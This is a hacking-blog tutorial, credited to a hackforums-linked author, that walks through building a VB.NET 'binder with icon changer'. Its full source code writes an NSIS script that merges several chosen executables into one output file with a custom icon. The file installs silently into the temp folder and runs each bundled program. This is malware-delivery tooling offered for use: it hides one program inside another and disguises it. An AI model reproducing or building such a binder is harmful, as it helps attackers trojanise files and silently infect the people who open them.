Home »Unlabelled » [ VB.NET How To Make Advanced Binder With Icon Changer N00b!
[ VB.NET How To Make Advanced Binder With Icon Changer N00b!
1 Open Visual Studio 2010/2008
2 New Project
3 Choose the name for the binder
4 Form1.vb will pop up
5 Go to toolbox and get :
1 Listbox
2 Buttons [ 1 Button Called: Add File [ 1 Button Called: Next
Now you need to make the gui in your own way...
When you finishing making the layout for your binder, Click on the button Called: Add File and Post this Source Code:
Code:
Try
Dim openfile As New OpenFileDialog
openfile.ShowDialog()
openfile.Title = "Select files:"
ListBox1.Items.Add(openfile.FileName)
Catch ex As Exception
MsgBox("Please Report Any bugs To me")
End Try
Code:
Try
If ListBox1.Items.Count < 2 Then
MsgBox("Please choose 2 or more files for binding")
Else
Form2.Show()
Me.Hide()
End If
Catch ex As Exception
MsgBox("Please Report Any bugs To me")
End Try
Double Click on the form2.vb and put the import on the top Above Public Class Form2 - Imports System.IO
Example:
Code:
Imports System.IO
Public Class Form2
Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
End Class
Now go back to form2.vb and Click on ToolBox and Add:
2: TextBox
3: Button: 1 Button Called: Icon & Other button Called: Output File & The last button callled: Bind Now
1: RichTextBox1
1: ComboBox1 / With DropDownList as you wish...
When you have finished your layout, Double click on the Form2.vb and put This:
Code:
ComboBox1.SelectedIndex = 0
Example:
Code:
Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
ComboBox1.SelectedIndex = 0
End Sub
End Class
Now double click on the Button Called Icon and Put this Source Code:
Code:
Try
Dim openfile As New OpenFileDialog
openfile.Filter = "ICO files|*.ico"
openfile.ShowDialog()
TextBox1.Text = openfile.FileName
Catch ex As Exception
MsgBox("Please Report Any bugs To me!")' You can put any message here i just decided to put that '
End Try
Example:
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Try
Dim openfile As New OpenFileDialog
openfile.Filter = "ICO files|*.ico"
openfile.ShowDialog()
TextBox1.Text = openfile.FileName
Catch ex As Exception
MsgBox("Please Report Any bugs To me!") ' You can put any message here i just decided to put that '
End Sub
Now double click on Button Called Output File, and put this Source Code:
Code:
Try
Dim savefile As New SaveFileDialog
savefile.Filter = "exe files|*.exe"
savefile.ShowDialog()
TextBox2.Text = savefile.FileName
Catch ex As Exception
MsgBox("Please Report Any bugs To me!")' You can put any message here i just decided to put that '
End Try
Example:
Code:
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Try
Dim savefile As New SaveFileDialog
savefile.Filter = "exe files|*.exe"
savefile.ShowDialog()
TextBox2.Text = savefile.FileName
Catch ex As Exception
MsgBox("Please Report Any bugs To me!")
End Try
End Sub
End Class
Code:
Try
If TextBox2.TextLength = 0 Or TextBox1.TextLength = 0 Then
MsgBox("You need to import the icon and the file So you can proccess")
Else
Binder.bind()
End If
Catch ex As Exception
MsgBox("Please Report Any bugs To me!")' You can put any message here i just decided to put that '
End Try
Example:
Code:
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Try
If TextBox2.TextLength = 0 Or TextBox1.TextLength = 0 Then
MsgBox("You need to import the icon and the file So you can proccess")
Else
Binder.bind()
End If
Catch ex As Exception
MsgBox("Please Report Any bugs To me!") ' You can put any message here i just decided to put that '
End Try
End Sub
End Class
Now go to Project and Add Class... And put this source code on it:
Code:
Imports System.IO
Imports System.Text
Public Class Binder
Public Shared Sub bind()
Try
Dim asc As New ASCIIEncoding()
If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi") Then
My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi")
End If
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "!define PRODUCT_NAME ""Binded File""" + vbCrLf, True, asc)
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "!define PRODUCT_VERSION ""1.0""" + vbCrLf, True)
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "!define PRODUCT_PUBLISHER ""IP K1LL3r""" + vbCrLf, True, asc)
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "!define PRODUCT_WEB_SITE ""http://www.hackforums.net""" + vbCrLf, True, asc)
Select Case Form2.ComboBox1.SelectedItem
Case "zlib"
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "SetCompressor zlib" + vbCrLf, True, asc)
Case "bzip2"
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "SetCompressor bzip2" + vbCrLf, True, asc)
Case "LZMA"
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "SetCompressor LZMA" + vbCrLf, True, asc)
End Select
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "OutFile " + """" + Form2.TextBox2.Text + """" + vbCrLf, True, asc)
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "InstallDir ""$TEMP""" + vbCrLf, True, asc)
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "Icon " + """" + Form2.TextBox1.Text + """" + vbCrLf, True, asc)
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "SilentInstall silent" + vbCrLf, True, asc)
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "Section ""MainSection"" SEC01" + vbCrLf, True, asc)
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "SetOutPath ""$INSTDIR""" + vbCrLf, True, asc)
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "SetOverwrite try" + vbCrLf, True, asc)
For a As Integer = 0 To Form1.ListBox1.Items.Count - 1
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "File " + """" + Form1.ListBox1.Items.Item(a) + """" + vbCrLf, True, asc)
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "ExecShell " + """" + """$INSTDIR\" + Path.GetFileName(Form1.ListBox1.Items.Item(a).ToString) + """" + vbCrLf, True, asc)
Next
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "SectionEnd" + vbCrLf, True, asc)
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "Section -Post" + vbCrLf, True, asc)
My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\darkbinder.nsi", "SectionEnd" + vbCrLf, True, asc)
Dim start_info As New ProcessStartInfo("cmd.exe")
start_info.Arguments = "/C %temp%\makensis.exe %temp%\darkbinder.nsi"
start_info.UseShellExecute = False
start_info.CreateNoWindow = True
start_info.RedirectStandardOutput = True
start_info.RedirectStandardError = True
' Make the process and set its start information.
Dim proc As New Process()
proc.StartInfo = start_info
' Start the process.
proc.Start()
' Attach to stdout and stderr.
Dim std_out As StreamReader = proc.StandardOutput()
' Display the results.
Form2.RichTextBox1.Text = std_out.ReadToEnd()
' Clean up.
std_out.Close()
proc.Close()
'Shell("cmd.exe /C %temp%\makensis.exe %temp%\darkbinder.nsi > c:\log.txt", AppWinStyle.Hide)
' Form2.RichTextBox1.LoadFile("C:\log.txt")
Catch ex As Exception
MsgBox("Please Report Any bugs")
End Try
End Sub
End Class
This tutorial is made Because people said in the other tutorial, That i didn't Explain So This Tutorial is For N00b! ! And others!
Mine looks like this:
This post was written by:
Adnan Anjum - who has written 1000+ posts on hackguide4u.
Adnan Anjum is a professional Geek. Follow him on Twitter or email him
Subscribe to:
Post Comments (Atom)
Share your views...
0 Respones to "[ VB.NET How To Make Advanced Binder With Icon Changer N00b!"
Post a Comment